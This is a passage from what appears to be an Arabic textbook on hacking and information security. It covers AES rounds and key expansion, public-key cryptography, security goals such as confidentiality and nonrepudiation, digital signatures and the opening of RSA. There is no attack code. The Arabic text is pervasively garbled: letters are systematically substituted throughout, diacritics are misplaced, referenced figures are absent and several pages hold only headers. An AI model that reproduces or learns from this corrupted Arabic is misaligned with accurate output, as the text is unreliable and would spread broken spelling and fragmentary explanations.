‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ستستقبل ال ‪ُ Algorithm‬مدطالت )‪ ،(inputs‬ذذه ا ُملدطالت ذي ‪ُ ،2 blocks‬ذم ال ‪ plaintext‬ونُطلق عليه ‪،State‬‬


‫وال ‪ input‬الثانية ذي مصفوقة ال ‪ cipher key‬كام بالشكل باألعىل‪.‬‬
‫ُ‬
‫سيدطل كل منهم لسلسلة من اخلطوات‪:‬‬
‫‪ -‬ال ‪ State‬ستذذب لىل ال ‪.Encryption Process‬‬
‫‪ -‬وال ‪ Key‬سيذذب لىل ال ‪ Key Schedule‬ليتم لنتاج ال ‪ Cipher Keys‬املُستخدمة يف كل ‪.Round‬‬
‫لنعود لىل ال ‪ State‬من جديد‪َ ..‬مت ُر ال ‪ State‬بعدة ططوات ليتم يف النهاية تكوين ال ‪ ،Ciphertext‬ذذه‬
‫اخلطوات موضحة يف الصفحة التالية‪ ،‬وذي عىل ذذا النحو‪:‬‬
‫‪ -‬اخلطوة األوىل وذي ال ‪.Initial Transformation‬‬
‫‪ -‬اخلطوة الثانية وذي دطول ذذا ال ‪ Block‬يف ”‪ “9 rounds‬متتالية‪ .‬كل ‪ Round‬من ذذه التسعة‪ ،‬سيتعرض‬
‫قيه ال ‪ State‬ذذا ألربع عمليات رياضية‪ ،‬سنتكلم عنهم بعد قليل‪.‬‬
‫‪ -‬ثم اخلطوة الثالثة وذي ال ‪ Round‬النهائية لينتج بعدذا ال ‪.Ciphertext‬‬

‫‪Cryptography‬‬
‫]‪[310‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Cryptography
[311]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫نالحظ أن ذذه ال ‪ Rounds‬مجيعها عددذا )‪ (10‬غري ال ‪ ،initial transformation‬وذذا ألننا استخدمنا ال ‪AES-‬‬

‫‪ .128‬قلو قمنا باستخدام ال ‪ AES-192‬سيتم يف املقابل تنفيذ ‪.12 Rounds‬‬

‫عىل اجلانب اآلطر َي ُ‬


‫دطل ال ‪ Cipher Key‬يف سلسلة من اإلجراءات‪ ،‬نُطلق عليها ”‪ “Key Expansion‬كي يتم لنتاج‬
‫)‪ ،(11 keys‬األول ُيستخدم يف ال ‪ُ ،Initial transformation‬ثم تسعة َمفاتيح من أجل ال )‪ ،(9 Rounds‬ثم ال ‪Key‬‬

‫األطري من أجل ال ‪.Final Round‬‬

‫واآلن‪َ ..‬سنتكلم َعن ا َملراحل ا ُملتعلقة بك ٍ‬


‫ُل من ال ‪ State‬وال ‪ Cipher key‬بيشء من التفصيل‪.‬‬

‫‪The State Matrix Processes‬‬


‫سنقوم بالرتكيز ُذنا عىل ال ‪ ،Encryption Process‬لكن لن نتحدث عن العمليات التي تتم إلنتاج ال ‪ Key‬اخلاص‬
‫بكل ‪ ،Round‬سنكتفي ذنا بتوضيح مواضع استخدامهم يف عملية التشفري‪ ،‬وسنقوم بتفصيلهم الحق ًا‪.‬‬

‫‪Cryptography‬‬
‫]‪[312‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يبدو واضح ًا أن ال ‪ initial round‬تستخدم ال ‪ AddRoundKey‬ققط!‪ .‬بينام تتعرض ال ‪ State‬بعدذا ل ‪،9 Rounds‬‬
‫يتم قيها تنفيذ أربع ططوات متتالية يف كل ‪ .Round‬ويف ال ‪ Round‬األطرية ال يتم تطبيق ال ‪ .MixColumns‬واآلن‪..‬‬
‫ذيا لنقرتب أكثر من ذذه ال ‪.Rounds‬‬

‫‪Cryptography‬‬
‫]‪[313‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Initial round‬‬
‫نقوم ُذنا بتطبيق ططوة وحيدة وذي استخدام ال ‪ Key‬األول يف سلسلة ال ‪ ،Key Expansion‬قنقوم بعمل ‪ XOR‬بينه‬
‫وبني ال ‪ State Matrix‬كام يظهر بالشكل‪:‬‬

‫َحتدُ ث َع َملية ال ‪ XOR‬بني أول َعمود من ٍ‬


‫كل من ال ‪ State‬وال ‪ ،Key‬وذكذا مع َبقية األعمدة لينتُج يف النهاية ‪4x4‬‬

‫‪ State Matrix‬لتبدأ يف الدطول لىل ال ‪ Round‬األوىل‪.‬‬


‫سنَعتَرب أنفسنا اآلن داطل أول ‪ُ ..Round‬‬
‫حيث تبدأ عملية ال ‪:SubBytes‬‬
‫ُ‬
‫سنأطذ ذذه ال ‪ State‬القاد َمة من ال ‪ initial round‬لنَقوم بتطبيق ال ‪ SubBytes‬عليها كام َسرتى اآلن‪:‬‬

‫‪Cryptography‬‬
‫]‪[314‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫كيف َحدَ َ‬
‫ث ذذا الت ََح ّول؟‬ ‫َ‬
‫‪..‬لقد متت ُمبادلة كل ‪ byte‬من ال ‪ State‬ب ‪ byte‬آطر حصلنا عليه من جدول ُيسمى بال ‪.S-Box‬‬

‫ماذذا ال ‪..S-Box‬؟‬

‫لنه عبارة عن جدول كبري له حمور ‪ X‬وآطر ‪ ،Y‬جتده يف الصفحة التالية‪.‬‬


‫قمث ً‬
‫ال نأطذ أول ‪ byte‬وذو ”‪ “EA‬سندطل لىل املحور ‪ X‬بالقيمة ‪ ،E‬ولىل املحور الرأيس بالقيمة ‪ ،A‬قتكون نقطة‬
‫التقابل ذي ”‪ ،“87‬والتي تظهر يف أول طانة يف املصفوقة ال ُيمنى يف الصفحة السابقة‪ .‬وبام أننا سنقوم ِبذا اإلجراء يف‬
‫حالة التشفري‪ ،‬سنحتاج أن نَعك َس ُه يف حالة َقك التشفري‪ ،‬وبالتايل َسنَحتاج لىل ال ‪ Inverse S-Box‬أيض ًا‪ ..‬الشكل التايل‬
‫يوضح عملية اإلستبدال ذذه‪:‬‬

‫‪Cryptography‬‬
‫]‪[315‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Cryptography
[316]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫حيث كانت ُت َع ِّرب عن تطبيق َملبدأ ال ”‪.“Confusion‬‬


‫انتهينا من مرحلة ال ‪ُ ،SubByte‬‬
‫ذل تتذكر َمعناه؟‬

‫واآلن سننتقل لىل املرحلة الثانية‪:‬‬

‫‪Cryptography‬‬
‫]‪[317‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪ShiftRows‬‬

‫رتك ال ‪ row‬األول كَام ذو‪ُ ،‬ثم نَقوم بنَقل أول ‪ byte‬من ال ‪ row‬الثاين لن ََضع ُه َمكان ال ‪ byte‬األطري‪ ،‬وذذا س ُي َسبِّب‬
‫َسن ُ‬
‫لزاحة ُأ ُققية لل َبقية لىل ال َيسار كام ذو موضح باألعىل‪ ،‬وبخصوص ال ‪ row‬الثالث ق َيتم نقل ‪( 2 bytes‬الثالث والرابع‬
‫حمل األول والثاين)‪ُ ،‬ثم ال ‪ row‬الرابع يتم نقل ال ‪ byte‬األطري حمل ال ‪ byte‬األول ولزاحة الباقني نحو اليمني‪،‬‬
‫لنحصل عىل املصفوقة النهائية باألسفل!‪.‬‬
‫تعرضها لل ‪.ShiftRow‬‬
‫* الصورة التي تقع أسفل الشكل ناحية اليمني توضح ال ‪ State‬التي طبقنا عليها ال ‪ S-box‬قوق‪ ،‬بعد ُّ‬

‫‪Cryptography‬‬
‫]‪[318‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الحظ أن عملية ال ‪ ShiftRows‬ذذه تُعترب تَطبيق َملبدأ ال ”‪.“Diffusion‬‬

‫ذذا جيد!‪..‬‬
‫ذيا لننتقل لىل مرحلة ال ‪:MixColumns‬‬

‫‪MixColumns‬‬
‫يتم يف ذذه الطريقة ََضب َمصفوقة ال ‪ State‬ب َمصفوقة ُأطرى وذي ال ”‪ “MixColumns Matrix‬أيض ًا ن ََود تَذكريك‬
‫بأن ذذه ال َع َملية تُعترب تطبيق َملبدأ ”‪.“Diffusion‬‬

‫يوضح الشكل أن كل عمود من ال ‪ State‬سيتم َضبه يف صف من ال ‪.MixColumns Matrix‬‬

‫‪Cryptography‬‬
‫]‪[319‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وذذا شكل توضيحي آطر‪:‬‬

‫ذيا لنُجرب األمر عىل املثال اخلاص بنا‪:‬‬

‫لقد حصلنا عىل ال ‪َ State‬بعد ثالث َمراحل ُمتتابعة‪ ،‬كانت أوهلم ال ‪ SubBytes‬حيث استخدمنا جداول ال ‪،S-box‬‬
‫ثم دطلنا لىل ال ‪ ShiftRows‬كأحد تطبيقات ال ‪ ،Diffusion‬ومن بعدذا لىل ال ‪ .MixColumns‬واآلن يأيت دور‬
‫املرحلة الرابعة واألطرية هلذا ال ‪ ،Round‬وذي‪:‬‬

‫‪AddRoundKey‬‬
‫حيث نقوم بعمل ‪ XOR‬لل ‪ State‬الناجتة من ذذه املراحل الثالثة مع ال ”‪“Round Key 1‬‬

‫ماذذا ال ‪Round Key 1‬؟‬

‫‪Cryptography‬‬
‫]‪[320‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لن ُه ال ‪ Key‬الذي تم انتاجه من ال ‪ Cipher key‬الرئييس‪ ،‬وذلك من طالل عملية ال ‪.. Key Expansion‬سنُناقشها‬
‫بعد قليل‪..‬‬
‫للمرور بنَفس‬
‫يف النهاية َيتم احلُصول عىل ذذا ال ‪ Block‬كَناتج من ال ‪ ،Round 1‬ل َيتم َبعد ذلك دطوله مر ًة أطرى ُ‬
‫األربع ُططوات داطل ال ‪ ،Round 2‬وذكذا حتى الوصول لىل ال ‪.Round 9‬‬

‫ُ‬
‫حيث يتم أطذ كل عمود من ال ‪State‬‬ ‫ماييل شكل توضيحي لإلجراء احلاصل بني ال ‪ State‬وال ‪.Round key 1‬‬

‫وعمل ‪ XOR‬له مع العمود ا ُملقابل له يف ال ‪.Key‬‬

‫‪Cryptography‬‬
‫]‪[321‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫نقوم بتكرار ذذه ال ‪ Round‬لتسع مرات‪ ،‬ثم يف ال ‪ Round‬العارشة نُطبق ذذه اخلطوات أيض ًا باستثناء اخلطوة اخلاصة‬
‫بال ‪.MixColumns‬‬

‫لقد وصلنا لنهاية ال ‪ ،Encryption process‬ذيا لننتقل لىل ال ‪ Key Expansion‬لنُننهي به ذذا ال ‪.Cryptosystem‬‬

‫‪Key Schedule‬‬
‫تبدأ ُذنا ال "‪ "Key Expansion Algorithm‬بأطذ ال ‪ Cipher Key‬وذو عبارة َعن مصفوقة ُمكونة من ‪16 bytes‬‬

‫لتقوم بإنتاج يشء أشبه ب ‪ Linear Array‬وتَب ُلغ ‪.176 bytes‬‬

‫سمة ال ‪ 176‬عىل ‪ 11‬يكون الناتج ‪ ،16‬بمعنى أننا سنستخدم مصفوقة مكونة من ‪ 16 bytes‬ألجل ‪ 11‬مرحلة‪،‬‬
‫وبق َ‬
‫حيث ُيم ِّثل ال ‪ Cipher Key‬أول ‪ key‬يف ذذه ال‬
‫ُ‬ ‫وذي ال ‪ Rounds‬املطلوبة!‪،(Initial round + 10 rounds) .‬‬

‫ُكون منه بقية ال ‪.Keys‬‬


‫‪ linear array‬ليتم استخدام ُه يف ال ‪ .initial round‬ثم سن ِّ‬

‫ذيا لنبدأ!‪..‬‬
‫تأمل معي الشكل التايل‪:‬‬

‫‪Cryptography‬‬
‫]‪[322‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Figure 5‬‬

‫رشة أعمدَ ة‪ ،‬وذذا‬


‫ظهر لنا ال ‪ Cipher Key‬كأول َمصفوقة يف ذذه السلسلة‪ ،‬ونُالحظ باألسفل َجدول ُمكَون من َع َ‬
‫َي َ‬
‫َيدُ ل عىل أننا َسنستَخدم َعمود من ذذه األعمدة لكُل ‪ Round Key‬من العرشة‪.‬‬

‫ثم تأيت ذذه املرحلة‪:‬‬

‫‪Cryptography‬‬
‫]‪[323‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ُ‬
‫حيث نُطلق عىل أول عمود من ال ‪ Round Key‬اجلديد بال ”‪ ،“Wi‬قيكون العمود الذي يسبق ُه ”‪ “Wi-1‬كام يظهر‬
‫بالشكل التايل )‪.(figure 6‬‬

‫سنقوم بعدذا بتطبيق ططوات‪َ ،‬يتم تكرارذا عندَ تكوين أول عمود من كل ‪ Round Key‬ققط!‪.‬‬

‫ذذه اخلطوات تكون عىل ذذا النحو‪:‬‬

‫‪Figure 6‬‬

‫‪Cryptography‬‬
‫]‪[324‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫اخلطوة األوىل ذي أن نأطذ أول ‪ byte‬يف ذذا العمود وذو )‪ (09‬ونضع ُه باألسفل‪ُ ،‬ما يؤدي إلزاحة رأسية للبقية لىل‬
‫ن ال ‪ Wi-1‬يف الشكل املايض‪ ،‬رقم ‪.(figure 6) 6‬‬ ‫األعىل‪ ،‬كام نُالحظ يف العمود ا ُمل َ‬
‫نسدل م َ‬
‫واخلطوة الثانية ذي تبديل كل ‪ byte‬من ذذا العمود بقيمة أطرى من ال ‪ S-Box‬الذي تكلمنا عنه ُمسبق ًا‪ ،‬كُنا نُطلق‬
‫عليها ”‪..“SubBytes‬أيض ًا يوضح الشكل رقم ‪ (figure 6) 6‬ال ‪ S-Box‬وعملية ال ‪.SubBytes‬‬

‫‪Figure 7‬‬

‫‪Cryptography‬‬
‫]‪[325‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫واخلطوة الثالثة ذي َع َمل ‪ XOR‬هلذا ال َعمود َمع ك ٍ‬


‫ُل من ال ‪ Wi-4‬والعمود األول من ال ‪ Rcon‬كام يظهر يف الشكل‬
‫رقم ‪ ،(figure 7) 7‬يف الصفحة املاضية‪ .‬وِبذا نكون قد انتهينا من أول عمود يف ال ‪.Round Key 1‬‬

‫كيف سنُكمل بقية الثالث أعمدة؟‬


‫حسن ًا‪َ ..‬سنَقف عىل ال َعمود الثاين يف ال ‪ round key 1‬وذو املَطلوب تَكوينه‪ .‬لذا سنُسميه )‪ُ ،(Wi‬ثم نَقوم ب َع َمل ‪XOR‬‬

‫َبني ال َعمود الذي َيسبق ُه ُمبارش ًة وال َعمود الذي َيسبق ُه بأر َب َعة أعمدة كَام بالشكل التايل‪ ،‬رقم ‪:(Fig.8) 8‬‬

‫وذكذا نكرر ذذه ال ‪ XOR‬مع العمود الثالث والرابع‪ .‬لنصل ِبذا لىل اكتامل ال ‪.Round Key 1‬‬

‫‪Figure 8‬‬

‫ثم تبدأ ال ‪ ،Round Key 2‬سنتكلم عن ططوات تكوين أول عمود ِبا‪:‬‬

‫‪Cryptography‬‬
‫]‪[326‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫قنَقوم بتكرار اخلُطوات التي متت عند تكوين أول َعمود يف ال ‪ ،Round Key 1‬ذل تتذكرذا؟‬
‫‪ ‬أول ططوة كانت ال ‪ RotWord‬وذي نقل ال ‪ Byte‬األعىل لىل أسفل‪.‬‬
‫‪ ‬والثانية كانت ال ‪ SubRows‬باستخدام ال ‪.S-box‬‬

‫‪ ‬والثالثة ذي عملية ال ‪ XOR‬بني ذذا العمود و ال ‪ Rcon‬وال ‪.Wi-4‬‬

‫تظهر اخلطوة "الثالثة" يف الشكل التايل‪ ..(Figure 9) ..‬وِبا نكون قد انتهينا من أول عمود يف ال )‪.(Round Key 2‬‬

‫‪Figure 9‬‬

‫‪Cryptography‬‬
‫]‪[327‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫وذذه أيض ًا بعض الصور التي توضح ذذه اخلطوات بأسلوب جيد‪:‬‬

‫‪Cryptography‬‬
‫]‪[328‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Cryptography
[329]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Cryptography
[330]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Source: http://www.moserware.com/2009/09/stick-figure-guide-to-advanced.html

،Asymmetric Cryptography ‫ سننتقل لىل عامل ال‬.Cryptosystem ‫لىل ذنا نكون قد وصلنا لىل هناية ذذا ال‬
..‫ذيا بنا‬

Cryptography
[331]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Asymmetric Cryptography‬‬

‫ُيط َلق عليه أيض ًا ”‪ ،“Public Key Cryptography‬ونعني به‪:‬‬


‫"تَشفري ال َبيانات باستخدام مفتاحني لكُل شخص َبدَ الً من مفتاح واحد للتشفري وقك التشفري"!‪ .‬ستقوم ال‬
‫‪ُ Algorithm‬ذنا باستخدام ‪ 2 Keys‬لكال الطرقني املُشرتكني يف قناة االتصال‪ ،‬املفتاح األول )‪ُ (Public Key‬يستخدم‬
‫يف عملية تشفري البيانات َقبل لرساهلا للطرف اآلطر‪ ،‬والثاين )‪ُ (Private Key‬يستخدم لعملية قك تشفري البيانات‬
‫القادمة من الطرف اآلطر‪.‬‬
‫لنوضح الصورة أكثر‪..‬‬
‫ُذم يف احلقيقة أربعة مفاتيح‪ ..‬مفتاحني لكل طرف‪:‬‬

‫‪Cryptography‬‬
‫]‪[332‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫سريسل يل ال ‪ Receiver‬ال ‪ Public Key‬اخلاص‬


‫قكل منا سيقوم بعمل ‪ Generate‬ل ‪ُ ،Public and Private Keys‬‬
‫به ألقوم أنا بتشفري البيانات التي أريد لرساهلا ل ُه‪.‬‬
‫وأنا أيض ًا سأرسل له ال ‪ Public Key‬اخلاص يب‪ ،‬وحيتفظ كل منا بال ‪ Private Key‬اخلاص به لنفسه!‪ ،‬ألننا‬
‫سنستخدمهم يف قك التشفري‪.‬‬
‫ذذا بس َبب وجود َعالقة رياضية بني املفتاحني‪ُ ،‬متكِّن لل ‪ Private key‬من قك الرسالة ا ُملشفرة بال ‪.public key‬‬
‫ذذا شكل آطر يوضح ذذه العملية بيشء من التفصيل‪:‬‬

‫يظهر أن الطرف ‪ B‬يقوم بعمل ‪ generate‬لل ‪ُ ،key pair‬ثم ُيرسل ال ‪ public key‬اخلاص به للطرف ‪ ،A‬كي يقوم ‪A‬‬

‫باستخدامه لتشفري الرسالة ولرساهلا له‪.‬‬


‫ذذا جيد!‪..‬‬

‫‪Cryptography‬‬
‫]‪[333‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫دعني أطرح عليك سؤاالً منطقي ًا بعد أن تعمقنا يف تكنولوجيا التشفري ذذه!‪.‬‬
‫ماذو اهلدف من التشفري من األساس؟ أو ماذي اخلدمة التي ُيقدمها لنا ال ‪..Cryptography‬؟‬
‫لنه سؤال مهم قعالً!‪.‬‬
‫ذذه التكنولوجيا تقدم لنا قوائد عديدة‪ ،‬سأذكر لك أذم أربعة أذداف ُ َحتققها َلنا‪:‬‬

‫‪Confidentiality‬‬
‫تعني املوثوقية‪ ،‬وذي التي تضمن الُسية أثناء التواصل بني شخصني أو أكثر‪ ،‬و أن ال ‪ Data‬التي تنتقل بينهم ستكون‬
‫معزولة عن املحيط اخلارجي‪ ،‬وحمفوظة الُسية‪.‬‬
‫مثال عىل ذلك "الشهادات املدرسية" أو كشف درجات الطالب واخلرجيني‪ .‬حيث يضمن املعهد أو اجلامعة أن ذذه‬

‫البيانات ال َي ّطلع عليها لال الطالب نفسه‪ ،‬وأولياء أمره‪ ،‬وحمل عمله أو دراسته اجلديد!‪ .‬وبالتايل ُ‬
‫قهناك ‪َ Proof‬جيب أن‬
‫ُيقدم من ق َبل اجلهة أو الشخص الذي يريد نسخة من ذذه امللفات!‪.‬‬
‫ماييل تعريف ُمترص هلا‪:‬‬
‫”‪Is the protection of transmitted data from “Passive Attacks‬‬

‫ماذذا ال ”‪..“Passive Attacks‬؟‬

‫لهنا عملية اإلطالع عىل ال ‪ Data‬التي يتم انتقاهلا بني طرقني‪.‬‬


‫ُيلخص ذذا املفهوم الشكل التايل‪:‬‬

‫‪Cryptography‬‬
‫]‪[334‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Integrity
:‫ أو ما ييل‬،"‫نعني ِبا "سالمة البيانات‬
Integrity Assures that messages are received as sent with no duplication, insertion, modification,
reordering, or replay.

“Replay” ‫ماذذا ال‬

‫ سيقوم بعمل تعديل عىل‬Attacker ‫ ألن ال‬Active ‫ قهو‬،Active Attacks ‫ ا ُملصنف حتت ال‬Attacks ‫لنه نوع من ال‬
.!‫ و ُيعيد لرساهلا مر ًة أطرى‬data ‫ذذه ال‬

Cryptography
[335]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫‪Authentication‬‬
‫ذذه ببساطة عملية التحقق من ذوية األشخاص أو األجهزة أو أي يشء!‪.‬‬
‫ماييل مثال هلذه العملية‪:‬‬

‫‪Cryptography‬‬
‫]‪[336‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫الحظ أن ال ‪ Server‬عندما طلب من السيد بوب أن ُيثبت ذويته‪ ،‬طلب منه يشء بعينه‪ ،‬ربام يطلب منه ‪Password‬‬

‫أيض ًا كنوع من لثبات اهلوية‪ ،‬قمعنى أنه يطلب منه يشء بعينه أن ذذا ال ‪ Server‬سيقوم بتطبيق عالقة ”‪..“Compare‬‬
‫سيقوم بمقارنة قيمة حمددة عنده بام س ُيدطل ُه ذذا ال ‪ ،user‬قإن تطابقا‪ ،‬س ُيعطيه ال ‪.access‬‬
‫لهنا ختتلف عن ال ”‪.! “Identification‬‬
‫قالثانية ذذه تعني اآليت‪:‬‬
‫عندما تقوم بإدطال لسمك مثالً‪ ،‬قيقوم ذو بمقارنة ذذا اإلسم بكل األسامء التي لديه لىل أن حيدُ ث ‪ ،match‬لهنا لذ ًا‬
‫عالقة من نوع ”‪ .“One-to-Many‬ذذا أشبه بعملية ال ‪.Search‬‬

‫بينام ال ‪ Authentication‬تُعترب عالقة ”‪.“One-to-One‬‬

‫بمعنى‪ ..(Compare only, No search.!) :‬يف الصفحة التالية نعرض بعض أشكال ال ‪..Authentication‬‬

‫‪Cryptography‬‬
‫]‪[337‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

Nonrepudiation
provides assurance to the recipient that the message was actually originated by
the sender and not someone masquerading as the sender. It prevents the sender from claiming
that they never sent the message in the first place

“it prevents ether sender or receiver from denying a transmitted message”

‫؟‬..Masquerading ‫ماذذا ال‬


‫ وكأن ُه‬Data ‫ بانتحال شخصية أحدذم ولسال ال‬Attacker ‫ الذي يقوم قيه ال‬Active Attacks ‫لنه نوع من أنواع ال‬
.‫ذو ذلك الشخص‬

Cryptography
[338]
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

:Masquerading Attack ‫ذذا شكل يوضح ال‬

.Symmetric Cryptography ‫ ال ُيو ِّقرذا لنا ال‬-Nonrepudiation- ‫ذذه اخلاصية‬

.!‫ سيتمكن من تشفري الرسالة ولرساهلا يل‬Shared Secret Key ‫ألنه ببساطة أي شخص يمتلك ذذا ال‬
Because any communicating party can encrypt and decrypt messages with the shared secret key,
there is no way to tell where a given message originated.

.Asymmetric Cryptography ‫ذيا لنعود مر ًة أطرى لىل ال‬..‫واآلن‬


..Asymmetric Cryptosystem ‫كنا نتكلم عن ال‬
:‫ نُالحظ أنه ُحيقق لنا ماييل‬،‫وبعرضه عىل املفاذيم اجلديدة التي عرقناذا اآلن‬
.Confidentiality, integrity, and Nonrepudiation

Cryptography
[339]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫سنأطذ مثال آطر نوضح به حتقيق ذذه اخلصائص باستخدام ال ‪.Asymmetric Keys‬‬

‫ُقمنا يف ذذا املثال بإضاقة ططوة جديدة وذي أن عملية التشفري أو قك التشفري ستكون عىل مرحلتني بدالً من مرحلة‬
‫واحدة!‪ .‬سيقوم ‪ A‬بتشفري الرسالة أوالً استخدام ال ‪ private key‬اخلاص به‪ ،‬ثم ُيش ِّفرذا مر ًة أطرى باستخدام ال‬
‫تكمن قائدة عملية التشفري األوىل يف توقري طدمة ال ‪ ،Nonrepudiation‬ألن ‪A‬‬
‫‪ public key‬اخلاص باملستخدم ‪ُ .B‬‬
‫ذو الشخص الوحيد الذي يمتلك ال ‪ private key‬ا ُملستخدم يف عملية التشفري‪ ،‬قلن يتمكن أحد غريه من تشفري‬
‫جي ُّرنا لىل توضيح أحد‬
‫الرسالة وادعاء أهنا قادمة من ‪ .A‬وذذا تأكيد عىل أن ذذه الرسالة قادمه من ‪ ،A‬و ‪ A‬ققط!‪ ،‬ذذا ُ‬
‫تطبيقات ال ‪ Public Key Cryptosystems‬وذو ال ”‪“Digital Signature‬‬

‫‪Cryptography‬‬
‫]‪[340‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ماذذا ال ‪..Digital Signature‬؟‬


‫عندما تَذذب ل َفتح حساب بأحد البنوك‪ُ ،‬يقدِّ م لك املوظف جمموعة من املستندات من ضمنها مستند طاص بالتوقيع‬
‫أو لمضاء العميل الشخيص‪ ،‬ذذا ا ُملستنَد َيتم حفظه يف ملفك لدهيم‪.‬‬
‫وقكلام أردت لجراء أي تعديالت عىل حسابك وأنت طارج البالد تقوم باإلمضاء عىل طلبك ولرساله لىل البنك‬
‫بالفاكس كإجراء ضمن عدة لجراءات‪ ،‬قيقوم املوظف بفتح ملفك ُملقارنة ذذا اإلمضاء بذلك الذي بامللف!‪ .‬ذذا‬
‫األمر يتشابه مع مفهوم ‪ digital signature‬غري أن األطرية تُستخدم للكرتوني ًا‪ ،‬لكن وظيفتها ال تقترص عىل كوهنا جمرد‬
‫لمضاء!‪ ،‬قهي تُقدِّ م لنا طدمات أطرى أيض ًا‪:‬‬

‫‪Digital signatures can provide the added assurances of evidence to origin, identity and status of‬‬
‫‪an electronic document, transaction or message, as well as acknowledging informed consent by‬‬
‫‪the signer.‬‬
‫سنأيت لليها بيشء من التفصيل قيامبعد‪..‬‬

‫بينام سنذذب اآلن يف جولة ُُمت َعة داطل أحد ال ”‪“Public Key Cryptosystems‬‬

‫وذو الس ِّيد ”‪ “RSA‬ا ُمل َ َ‬


‫حرتم‪.‬‬

‫‪RSA‬‬
‫تُشري تسميته لىل الثالثة الذين قامو بابتكار ذذا النظام وذم ينتمون ملعهد ال ‪.MIT‬‬
‫‪Ron Rivest, Adi Shamir, and Leonard Adleman at MIT‬‬
‫شكر ًا هلم ‪.‬‬

‫‪Cryptography‬‬
‫]‪[341‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫لنُشاذد مع ًا شكل ذذا النظام‪:‬‬

‫ُيريد السيد ‪ Bob‬لرسال رسالة لىل ‪ ،Alice‬قيستخدم ال ‪ Public Key‬اخلاص ِبا لذلك‪ ،‬قتقوم ذي بفك الشفرة‬
‫باستخدام ال ‪ Private Key‬اخلاص ِبا‪.‬‬
‫أيض ًا ُأحب أن أوضح لك أن ٍ‬
‫أي من ال ‪ُ Keys‬يمكن استخدام ُه يف َع َملية ال ‪ ،Encryption‬و ُيستخدم ال ‪ Key‬اآلطر‬
‫كان ذذا املثال للتشفري باستخدام ال ‪ Public Key‬و َقك التشفري بال ‪.Private Key‬‬
‫يف عملية ال ‪َ .Decryption‬‬
‫سنُشاذد مثال آطر َيقوم ب َعكس عملية استخدام ال ‪:Keys‬‬

‫‪Cryptography‬‬
‫]‪[342‬‬
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫يظهر ذنا السيد ‪ Bob‬وذو ُيش ِّفر رسالته بال ‪ Private Key‬اخلاص به ذو‪ُ ،‬ثم تقوم ‪ Alice‬ب َفك الشفرة باستخدام ال‬
‫‪ Public Key‬اخلاص به أيض ًا‪.‬‬

‫ذيا لنتعمق داطل ال ‪..!RSA Algorithm‬‬

‫‪Cryptography‬‬
‫]‪[343‬‬
Understanding Hacking and Information Security ‫القرصنة اإللكترونية وأمن المعلومات‬

RSA Algorithm

:‫ عىل عدّ ة ططوات‬Algorithm ‫سنقوم برشح ذذه ال‬

ِّ "‫ و‬،‫ ُُمتلفني‬،‫ كبريين‬،‫أول ططوة ذي اطتيار عددين عشوائيني‬


."‫أوليني‬
:‫َسنر ُمز هلم ب‬
.q ‫ و‬p

Choose two large prime numbers (approximately 200 digits each), labeled p and q

‫؟‬..Prime Number ‫ما ذذا ال‬


:‫ذذا يدقعني ألحكي لك ذذه القصة‬
“A brilliant young mind” ‫كُنت أشاذد قيلم اسم ُه‬

Cryptography
[344]
‫‪Understanding Hacking and Information Security‬‬ ‫القرصنة اإللكترونية وأمن المعلومات‬

‫ٍ‬
